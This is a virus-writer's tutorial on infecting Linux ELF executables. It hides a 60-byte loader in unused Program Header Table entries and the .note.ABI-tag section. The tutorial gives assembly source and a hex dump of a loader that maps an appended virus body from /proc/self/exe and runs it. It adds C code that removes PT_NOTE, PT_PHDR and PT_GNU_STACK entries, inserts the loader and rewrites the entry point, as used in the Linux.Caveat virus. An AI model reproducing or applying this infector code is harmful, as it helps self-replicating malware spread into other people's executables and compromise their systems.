herm1t, 2008-02-27
This tutorial explains how to use a small amounts of space within Program Header Table to inject the tiny loader which will allocate the memory for the main virus body, load and execute it. Suppose that we have, say, 64 bytes of unused space inside loadable segment? The loader might be implemented as follows:
pusha pushl $0x00006578 pushl $0x652f666c pushl $0x65732f63 pushl $0x6f72702f mov %esp,%ebx sub %ecx,%ecx push $5 .byte 0xe9 .long 0 pop %eax int $0x80 pushl $0x55aa55aa # offset in file & 0xfffff000 (*) push %eax # handle push $1 # flags (MAP_SHARED) push $5 # prot (PROT_READ|PROT_EXEC) push $0x1000 # length push %ecx # start mov %esp,%ebx push $90 # __NR_mmap pop %eax int $0x80 jmp *%eax
The above code would open the "/proc/self/exe" for reading, mmap its tail with read and execute permissions, adjust address returned by mmap and pass control to the virus. NB! There is no error checking on both syscalls. Before returning control to the host program, virus need to clean the stack from loader's local variables and pop saved registers (add $40,%esp / popa
). When you receive control you'll have your own address in %eax and handle of the infected file in stack. One might also wish to re-allocate the memory and move there to unmap and close the file there the virus resides, but this isn't really neccessary.
Compile it with as loader.s and dump with objdump -s -j .text a.out:
0000 60687865 0000686c 662f6568 632f7365 682f7072 6f89e329 c96a05e9 00000000 0020 58cd8068 aa55aa55 506a016a 05680010 00005189 e36a5a58 cd80ffe0
Only 60 bytes, surely, you can chop a few bytes more, but this is irrelevant. The virus body should be appended to the file you are going to infect. Note, that the offset of the virus in file should be patched (instruction marked by (*), offset 36 in loader). The file length must be multiple of page size, truncate(2) it before writing virus body. This limitation is due to mmap(2).
Ok, we have a loader, but where is the promissed space? I think all of you knew what the Program Header Table is. It filled with entries (32 bytes each) which describe the segments of the program. Some of them are deadly important (like PT_LOAD or PT_DYNAMIC) and it's not possible to tell the same about the rest. Let's return to the widely known method of infection called "Additional Code Segment" [1]. The sum and substance of it is a replacement of the unused PHT entry with type PT_NOTE (pointer to .note.ABI-tag section) by PT_LOAD (new segment with virus code). We can remove PT_NOTE completely without any consequences. The introduction of the new segment is a quite noticable change for the experienced user. The interesting thing about PHT is that it is located in the text segment. So, we have 32 spare bytes inside PHT and another 32 bytes in .note.ABI-tag section and will use it for the code itself. We will split the loader into two parts (this is what jmp 0f; 0:
in loader for) and put it there.
BEFORE AFTER +======================+<----, +======================+<----, | ELF Header | | | ELF Header | | + - - - - - - - - - - -+<---,| + - - - - - - - - - - -+<---,| | Program Header Table | || | Program Header Table | || | PT_PHDR |----'| | PT_PHDR |----'| | PT_INTERP |-, | | PT_INTERP |-, | | PT_LOAD |-|---' | PT_LOAD |-|---' | PT_LOAD |-|-, | PT_LOAD |-|-, | PT_DYNAMIC | | | | PT_DYNAMIC | | | | PT_NOTE |-|-|-, | PT_GNU_EH_FRAME | | | | PT_GNU_EH_FRAME | | | | | PT_GNU_STACK | | | | PT_GNU_STACK | | | | Entry Point -->| Loader (part 1) jmp|-|-|-, +----------------------+<' | | +----------------------+<' | | | .interp | | | | .interp | | | +----------------------+<--|-' +----------------------+<--|-' | .note.ABI-tag | | | Loader (part 2) | | +----------------------+ | +----------------------+ | | | | | | | ........................ | ........................ | | | | | | | +----------------------+<----Entry Point +----------------------+ | | .text | | | .text | | ........................ | ........................ | +======================+<--' +======================+<--' | | | | ........................ ........................
This could be done with the following code (victim was already mmaped, mapping - m, length - l, ehdr and phdr pointers filled):
uint32_t note, base; for (i = 0; i < ehdr->e_phnum; i++) { if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0) base = phdr[i].p_vaddr; if (phdr[i].p_type == PT_NOTE) { note = phdr[i].p_offset; if (i != ehdr->e_phnum - 1) memcpy(&phdr[i], &phdr[i + 1], sizeof(Elf32_Phdr) * (ehdr->e_phnum - i - 1)); ehdr->e_phnum--; *(uint32_t*)(loader + LOADER_JMP) = note - (ehdr->e_phoff + sizeof(Elf32_Phdr) * ehdr->e_phnum + 32); memcpy(&phdr[ehdr->e_phnum], loader, 32); memcpy(m + note, loader + 32, 32); ehdr->e_entry = base + ((char*)&phdr[ehdr->e_phnum] - (char*)m); } }
LOADER_JMP is the offset within loader to the argument of jmp linking two parts and is equal to 28.
There also a lot of other possible places for the loader. Recently, comrade F0g showed me his code and I realized that PT_NOTE is not the only reduntant header. The PT_NOTE was so obvious as a target that I didn't even thought about the others. Shame on me! And thanks to F0g! He is replacing the PT_PHDR entry, I also played a bit and found that PT_GNU_STACK is usually of no use also. So we can put the whole thing to PHT:
uint32_t base; Elf32_Phdr new_phdr[ehdr->e_phnum]; int new_phnum = 0; for (i = 0; i < ehdr->e_phnum; i++) { if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0) base = phdr[i].p_vaddr; if (phdr[i].p_type == PT_NOTE || phdr[i].p_type == PT_PHDR || phdr[i].p_type == PT_GNU_STACK) continue; memcpy(&new_phdr[new_phnum++], &phdr[i], sizeof(Elf32_Phdr)); } if (ehdr->e_phnum - new_phnum > 1) { ehdr->e_phnum = new_phnum; memcpy(phdr, new_phdr, new_phnum * sizeof(Elf32_Phdr)); memcpy(&phdr[new_phnum], loader, sizeof(loader)); ehdr->e_entry = base + ((char*)&phdr[new_phnum] - (char*)m); }
Both variants presented above was implemented in the Linux.Caveat virus. There is also the nice side effect with this method - you don't need to set the infection marker, since the PHT entries could be removed only once.
Let's think what else could be done. One may shift the .interp section down in the file to make the hole in PHT and .note.ABI-tag contiguos. There is also a tiny free spots inside the ELF header and sections padding. Or you could reduce the .hash size [2].
Comments are welcome. <herm1t@vx.netlux.org>